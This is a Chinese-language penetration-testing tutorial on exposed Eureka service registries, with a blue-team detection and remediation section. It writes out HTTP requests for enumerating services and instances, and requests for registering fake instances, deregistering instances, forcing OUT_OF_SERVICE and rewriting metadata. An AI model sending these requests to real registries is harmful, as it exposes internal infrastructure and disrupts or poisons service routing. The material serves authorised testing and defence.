合规与授权边界 :本文属于安全研究知识沉淀,面向已获书面授权 的渗透测试、攻防演练与应急响应场景。文中涉及的漏洞原理、攻击路径与检测方法仅限在授权范围内验证与复现,未经授权对任何系统实施文中技术属违法行为 。历史漏洞(含 CVE)复现请在本地靶场或自有环境完成,请勿对未授权目标发起任何测试请求。站点立场:技术探边界,法律守底线,关于本站 。
Eureka 是典型的高价值服务发现控制平面。它并不直接保存业务数据库数据,但它会集中暴露大量微服务运行时画像,包括:
服务名称与实例数量 实例 IP、端口与实例 ID statusPageUrl、healthCheckUrl、homePageUrlvipAddress 与 secureVipAddress实例元数据 metadata 心跳、下线、状态覆盖与集群复制状态 对攻击者来说,Eureka 的价值不只是“能看到一个注册中心列表”,而在于它往往是微服务环境里最容易统一回收服务清单、管理接口路径、内网端口、Actuator 暴露情况和环境标签的入口。一旦 Eureka 控制台或 REST API 被公开暴露、Basic Auth 未启用或凭据泄露、网关/Sidecar/CI 节点把 Eureka 地址对外转发,攻击者通常可以在极短时间内建立完整的服务画像,并把打点快速转向:
Actuator、Swagger、Prometheus业务实例的 /info、/health 通过 metadata 暴露出的版本、环境、zone 和上下游关系 手工 OUT_OF_SERVICE / metadata 改写 / 注入假实例等更高风险操作 本文聚焦打点与利用侧,重点记录:
如何识别当前目标是否为 Eureka 如何围绕应用列表、实例详情、VIP、状态覆盖与 metadata 建立资产画像 如何从心跳、注册、下线和覆盖状态判断真实风险 哪些请求与响应最值得完整记录 蓝队如何从访问日志、Eureka 服务端日志与客户端行为识别这类打点 0. 攻击面概览 0.1 常见路径 首轮至少应枚举:
//eureka//eureka/apps/eureka/apps/APPID/eureka/apps/APPID/INSTANCEID/eureka/instances/INSTANCEID/eureka/vips/VIP/eureka/svips/SVIP/eureka/apps/delta/eureka/apps/APPID/INSTANCEID/status/eureka/apps/APPID/INSTANCEID/metadata如果目标是 Spring Cloud Netflix 默认路径,通常会遇到:
/eureka/apps/eureka/apps/*如果是原生 Netflix Eureka 或兼容代理链,有时会看到:
/eureka/v2/apps/eureka/v2/apps/*/eureka/v2/instances/*/eureka/v2/vips/*/eureka/v2/svips/*0.2 内容协商与响应格式 官方 REST 说明明确指出:
Accept 可请求 application/json 或 application/xmlContent-Type 在注册时也可使用 JSON/XML因此在实际打点中至少要验证:
是否返回 JSON 是否默认返回 XML 是否启用了 gzip 0.3 打点收益优先级 按“最快转成真实攻击价值”的顺序,Eureka 的打点收益一般可排为:
确认是否为 Eureka、是否开放 REST 注册表读取 枚举所有应用与实例,回收 statusPageUrl、healthCheckUrl、metadata 按 vip、svip、实例 ID 做横向索引 判断是否可发心跳、下线、状态覆盖或改写 metadata 判断是否存在注入假实例或与其它管理面联动的空间 1. 第一轮打点:确认是否为 Eureka 1.1 控制台与首页识别 请求示例 GET / HTTP / 1.1
Host: eureka.target.example:8761
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close 典型响应示例 HTTP / 1.1 200 OK
Content-Type: text/html;charset=UTF-8 页面中常见特征包括:
EurekaInstances currently registered with EurekaDS ReplicasAvailability Zones如果直接访问 / 返回的是注册表页面,通常说明:
控制台已对外开放 后续 REST 路径大概率也可直接测试 1.2 /eureka/apps 请求示例 GET /eureka/apps HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应示例 {
"applications" : {
"versions__delta" : "3" ,
"apps__hashcode" : "UP_6_" ,
"application" : [
{
"name" : "PAYMENT-API" ,
"instance" : [
{
"instanceId" : "10.20.41.27:payment-api:8080" ,
"hostName" : "10.20.41.27" ,
"app" : "PAYMENT-API" ,
"ipAddr" : "10.20.41.27" ,
"status" : "UP" ,
"overriddenStatus" : "UNKNOWN" ,
"port" : {
"$" : 8080 ,
"@enabled" : "true"
},
"homePageUrl" : "http://10.20.41.27:8080/" ,
"statusPageUrl" : "http://10.20.41.27:8080/actuator/info" ,
"healthCheckUrl" : "http://10.20.41.27:8080/actuator/health" ,
"vipAddress" : "payment-api" ,
"secureVipAddress" : "payment-api" ,
"metadata" : {
"@class" : "java.util.Collections$EmptyMap" ,
"management.port" : "8080" ,
"version" : "2.14.7" ,
"zone" : "az1"
},
"lastUpdatedTimestamp" : "1760504609135" ,
"lastDirtyTimestamp" : "1760504566008" ,
"actionType" : "ADDED"
}
]
}
]
}
} 这条响应几乎可以直接建立完整的首轮服务画像:
服务名 实例 ID 主机名与 IP 端口 主页、状态页、健康检查页 VIP metadata 1.3 XML 兼容面 请求示例 GET /eureka/apps HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/xml
Connection: close 典型响应示例 <applications>
<versions__delta> 3</versions__delta>
<apps__hashcode> UP_6_</apps__hashcode>
<application>
<name> PAYMENT-API</name>
<instance>
<instanceId> 10.20.41.27:payment-api:8080</instanceId>
<ipAddr> 10.20.41.27</ipAddr>
<statusPageUrl> http://10.20.41.27:8080/actuator/info</statusPageUrl>
<healthCheckUrl> http://10.20.41.27:8080/actuator/health</healthCheckUrl>
</instance>
</application>
</applications> 对于某些代理、中间件或自定义集成,XML 面反而更常见,因此不能只测 JSON。
2. 第二轮打点:应用、实例与索引面 2.1 查询某个应用 请求示例 GET /eureka/apps/PAYMENT-API HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应示例 {
"application" : {
"name" : "PAYMENT-API" ,
"instance" : [
{
"instanceId" : "10.20.41.27:payment-api:8080" ,
"hostName" : "10.20.41.27" ,
"status" : "UP" ,
"overriddenStatus" : "UNKNOWN" ,
"port" : {
"$" : 8080 ,
"@enabled" : "true"
},
"homePageUrl" : "http://10.20.41.27:8080/" ,
"statusPageUrl" : "http://10.20.41.27:8080/actuator/info" ,
"healthCheckUrl" : "http://10.20.41.27:8080/actuator/health" ,
"metadata" : {
"version" : "2.14.7" ,
"management.port" : "8080" ,
"zone" : "az1"
}
}
]
}
} 这类请求特别适合在已知高价值服务上做精细化画像,例如:
gatewayauth-servicepayment-apiconfig-server2.2 查询单实例 请求示例 GET /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080 HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应示例 {
"instance" : {
"instanceId" : "10.20.41.27:payment-api:8080" ,
"hostName" : "10.20.41.27" ,
"app" : "PAYMENT-API" ,
"ipAddr" : "10.20.41.27" ,
"status" : "UP" ,
"overriddenStatus" : "UNKNOWN" ,
"port" : {
"$" : 8080 ,
"@enabled" : "true"
},
"homePageUrl" : "http://10.20.41.27:8080/" ,
"statusPageUrl" : "http://10.20.41.27:8080/actuator/info" ,
"healthCheckUrl" : "http://10.20.41.27:8080/actuator/health" ,
"vipAddress" : "payment-api" ,
"metadata" : {
"version" : "2.14.7" ,
"zone" : "az1"
}
}
} 2.3 通过实例 ID 查询 请求示例 GET /eureka/instances/10.20.41.27:payment-api:8080 HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应示例 {
"instance" : {
"app" : "PAYMENT-API" ,
"hostName" : "10.20.41.27" ,
"instanceId" : "10.20.41.27:payment-api:8080" ,
"statusPageUrl" : "http://10.20.41.27:8080/actuator/info" ,
"healthCheckUrl" : "http://10.20.41.27:8080/actuator/health"
}
} 这类查询特别适合已知 instanceId 来源于日志、配置文件或控制台页面时做定点回收。
2.4 按 VIP / Secure VIP 查询 请求示例 GET /eureka/vips/payment-api HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应示例 {
"applications" : {
"application" : [
{
"name" : "PAYMENT-API" ,
"instance" : [
{
"instanceId" : "10.20.41.27:payment-api:8080" ,
"vipAddress" : "payment-api"
}
]
}
]
}
} 请求示例 GET /eureka/svips/payment-api HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 这类索引面的意义在于:
某些场景无法直接知道应用名,但能从配置中知道 VIP 能快速做横向检索 2.5 Delta 增量注册表 请求示例 GET /eureka/apps/delta HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应示例 {
"applications" : {
"versions__delta" : "1" ,
"apps__hashcode" : "UP_6_" ,
"application" : [
{
"name" : "PAYMENT-API" ,
"instance" : [
{
"instanceId" : "10.20.41.28:payment-api:8080" ,
"actionType" : "ADDED" ,
"lastUpdatedTimestamp" : "1760504659127"
}
]
}
]
}
} 这类增量接口特别适合判断:
哪些实例刚刚上线 哪些服务频繁变动 当前集群是否处于发布窗口 3.1 statusPageUrl 与 healthCheckUrl Spring Cloud Netflix 文档明确说明,Eureka 实例默认会把:
statusPageUrlhealthCheckUrl注册到服务发现信息中,并且常见默认值对应:
而在现代 Spring Boot 环境里,这些地址又经常指向:
/actuator/info/actuator/health因此一旦 Eureka 实例详情可读,Eureka 本身就会变成其它管理面专题的索引器。
"metadata" : {
"management.port" : "8081" ,
"zone" : "az1" ,
"version" : "2.14.7" ,
"user.name" : "actuator" ,
"secure" : "false"
} metadata 的现实收益通常包括:
管理端口 zone/region 版本号 自定义标签 上游对接信息 在很多实际环境中,metadata 甚至会被误用来放:
3.3 联动验证示例 第一步:从 Eureka 取状态页 GET /eureka/apps/GATEWAY-SERVICE HTTP / 1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close 典型响应片段 {
"statusPageUrl" : "http://10.20.41.18:9000/actuator/info" ,
"healthCheckUrl" : "http://10.20.41.18:9000/actuator/health"
} 第二步:直接验证目标管理接口 GET /actuator/info HTTP / 1.1
Host: 10.20.41.18:9000
Accept: application/json
Connection: close 这类二跳打点是 Eureka 最实际的利用方式之一。
4. 第四轮打点:心跳、下线与状态覆盖 4.1 心跳请求 官方 REST 说明明确列出,实例会通过 PUT /eureka/apps/{appID}/{instanceID} 发送 heartbeat。
请求示例 PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080 HTTP / 1.1
Host: eureka.target.example:8761
Connection: close 典型成功响应示例 典型失败响应示例 404 在这里并不只是错误,它往往意味着:
4.2 注册实例 官方 REST 说明明确指出,实例注册走:
POST /eureka/apps/{appID}请求示例 POST /eureka/apps/PAYMENT-API HTTP / 1.1
Host: eureka.target.example:8761
Content-Type: application/json
Accept: application/json
Connection: close
{
"instance" : {
"hostName" : "10.20.41.99" ,
"app" : "PAYMENT-API" ,
"ipAddr" : "10.20.41.99" ,
"vipAddress" : "payment-api" ,
"secureVipAddress" : "payment-api" ,
"status" : "UP" ,
"port" : {
"$" : 8080 ,
"@enabled" : true
},
"securePort" : {
"$" : 443 ,
"@enabled" : false
},
"homePageUrl" : "http://10.20.41.99:8080/" ,
"statusPageUrl" : "http://10.20.41.99:8080/actuator/info" ,
"healthCheckUrl" : "http://10.20.41.99:8080/actuator/health" ,
"dataCenterInfo" : {
"@class" : "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo" ,
"name" : "MyOwn"
}
}
} 典型成功响应示例 一旦这类请求成功,风险已经不再是“读取注册表”,而是:
注入假实例 污染服务发现 为流量错误路由、测试环境干扰或其它链路攻击做准备 4.3 实例下线 请求示例 DELETE /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080 HTTP / 1.1
Host: eureka.target.example:8761
Connection: close 典型成功响应示例 4.4 手工 OUT_OF_SERVICE 官方 REST 说明明确列出:
PUT /eureka/apps/{appID}/{instanceID}/status?value=OUT_OF_SERVICE请求示例 PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/status?value=OUT_OF_SERVICE HTTP / 1.1
Host: eureka.target.example:8761
Connection: close 典型成功响应示例 典型后续查询响应片段 {
"status" : "UP" ,
"overriddenStatus" : "OUT_OF_SERVICE"
} 这类接口的危险之处在于:
表面上实例仍然存活 但发现层会开始拒绝把流量送给它 很适合做业务干扰和灰度误导 4.5 取消状态覆盖 请求示例 DELETE /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/status?value=UP HTTP / 1.1
Host: eureka.target.example:8761
Connection: close 典型响应示例 请求示例 PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/metadata?key=version&value=2.14.8 HTTP / 1.1
Host: eureka.target.example:8761
Connection: close 典型响应示例 一旦这类请求成功,说明控制权已经延伸到:
5. 高危错误部署场景 5.1 无鉴权公开注册表 最常见、也最容易被忽视的错误部署就是:
控制台公开 /eureka/apps 直接可读未开启 Basic Auth 或网关认证 这类环境即使没有写权限,也已经足以暴露整个微服务内网画像。
5.2 Basic Auth 在 defaultZone 中明文存在 Spring Cloud Netflix 文档明确说明,Eureka 客户端会自动使用嵌在 defaultZone URL 中的 Basic Auth 凭据,例如:
http://user:password@localhost:8761/eureka 这类设计的现实风险包括:
配置文件明文泄露 命令行参数泄露 容器环境变量泄露 statusPageUrl 或其它联动路径已暴露时,可进一步回收配置源5.3 错误注册的状态页与健康页 Spring Cloud 文档与相关 issue 都说明:
Docker / 自定义 management.context-path 自定义端口或非默认 servlet path 可能导致 Eureka 注册的 statusPageUrl、healthCheckUrl 出现:
从打点角度看,这类“坏配置”同样有价值,因为它会暴露:
5.4 gzip 注册表响应 实际兼容问题中可以看到,某些 Eureka 接口会返回:
典型响应头示例 HTTP / 1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json 这对攻击者的意义不在漏洞本身,而在于:
自动化脚本必须处理压缩响应 某些中间件兼容不当时会产生异常日志,可反向帮助蓝队发现枚举行为 6. 蓝队检测与处置 6.1 反向代理与访问日志 应重点识别对以下路径的连续访问:
/eureka/apps/eureka/apps/*/eureka/instances/*/eureka/vips/*/eureka/svips/*/eureka/apps/delta/eureka/apps/*/*/status/eureka/apps/*/*/metadata日志示例 10.10.10.21 - - [16/Jun/2026:02:31:11 +0800] "GET /eureka/apps HTTP/1.1" 200 4241 "-" "python-requests/2.32.3" 10.10.10.21 - - [16/Jun/2026:02:31:14 +0800] "GET /eureka/apps/PAYMENT-API HTTP/1.1" 200 1287 "-" "python-requests/2.32.3" 10.10.10.21 - - [16/Jun/2026:02:31:18 +0800] "PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/status?value=OUT_OF_SERVICE HTTP/1.1" 200 0 "-" "curl/8.7.1" 第三类日志应视为高优先级事件,因为它已经不是普通枚举,而是对注册表状态的主动干预。
6.2 Eureka 服务端日志 Eureka 服务端日志通常会记录:
日志示例 2026-06-16 02:31:21.418 INFO PeerAwareInstanceRegistryImpl - Registered instance PAYMENT-API/10.20.41.99:payment-api:8080 with status UP (replication=false) 日志示例 2026-06-16 02:31:25.103 INFO PeerAwareInstanceRegistryImpl - Cancelled instance PAYMENT-API/10.20.41.27:payment-api:8080 (replication=false) 日志示例 2026-06-16 02:31:28.910 INFO InstanceResource - Status updated: app=PAYMENT-API, id=10.20.41.27:payment-api:8080, value=OUT_OF_SERVICE 蓝队在调查时最应关注:
是否有非客户端网段直接访问 /eureka/* 是否存在不属于正常服务实例的注册、下线或状态覆盖行为 6.3 客户端行为与异常心跳 Spring Cloud 文档明确说明:
客户端会持续发送 heartbeat 默认注册与发现依赖本地缓存和心跳周期 因此如果在短时间内看到:
某实例突然 404 后跟着重新注册 某服务频繁 ADDED/DELETED apps/delta 中短时间大量变更就应重点排查:
6.4 处置建议 发现 Eureka 管理面被打点后,应优先做:
收敛 8761 暴露范围,不向低信任网络直接开放 为 Eureka 控制台与 /eureka/* 接口启用认证和访问控制 审核 defaultZone 中是否存在明文凭据并立即轮换 检查是否已有注册表被批量导出、实例被下线或 metadata 被改写 检查 statusPageUrl、healthCheckUrl 是否把 Actuator 面暴露给了错误的网络范围 对高价值服务的实例注册信息做基线核对,排查是否存在假实例注入 长期建议:
不把 Eureka 暴露到公网 把服务发现 REST 仅限制在客户端所在受控网络 对 /eureka/apps、/eureka/apps/delta、/status、/metadata 建独立告警 定期审查实例 metadata 是否混入敏感信息 对联动暴露出的 Actuator、Swagger、health/info 接口做二次收敛 7. 复盘清单 7.1 红队侧 是否确认了控制台和 /eureka/apps 是否可读 是否完成了应用、实例、VIP 与 Delta 的整体画像 是否提取了 statusPageUrl、healthCheckUrl 与 metadata 是否验证了注册、下线、状态覆盖与 metadata 改写边界 是否确认了 Basic Auth、错误管理路径与压缩响应的真实行为 7.2 蓝队侧 是否能识别从 /eureka/apps -> /eureka/apps/{APP} -> /eureka/instances/{ID} 的连续访问链 是否能识别人工或恶意触发的 OUT_OF_SERVICE、DELETE 和 metadata 改写 是否掌握了哪些实例注册信息会暴露下游管理面 是否掌握了所有通过 defaultZone 嵌入凭据的客户端配置 7.3 应急侧 是否确认是否已有注册表被批量导出 是否确认是否已有实例被恶意下线、覆盖状态或伪造注册 是否完成 Eureka 凭据、下游管理端口与高风险 metadata 的轮换或收敛 是否完成对联动暴露的 Actuator、info、health 面的排查 8. 总结 Eureka 的真正风险,不只是“一个服务注册中心对外开放”,而在于它会把:
服务清单 实例地址 健康页 状态页 metadata 状态覆盖 复制与增量变更 统一暴露给同一套控制台与 REST 接口。
对打点来说,更值得沉淀的方法学是:
先确认控制台与 /eureka/apps 是否开放 再建立应用、实例、VIP 与 Delta 画像 再集中提取 statusPageUrl、healthCheckUrl 和 metadata 最后判断注册、下线、状态覆盖与 metadata 改写是否可行 只有把这些面串起来,才能把“Eureka 暴露”真正转化成结构化攻击价值判断。
参考资料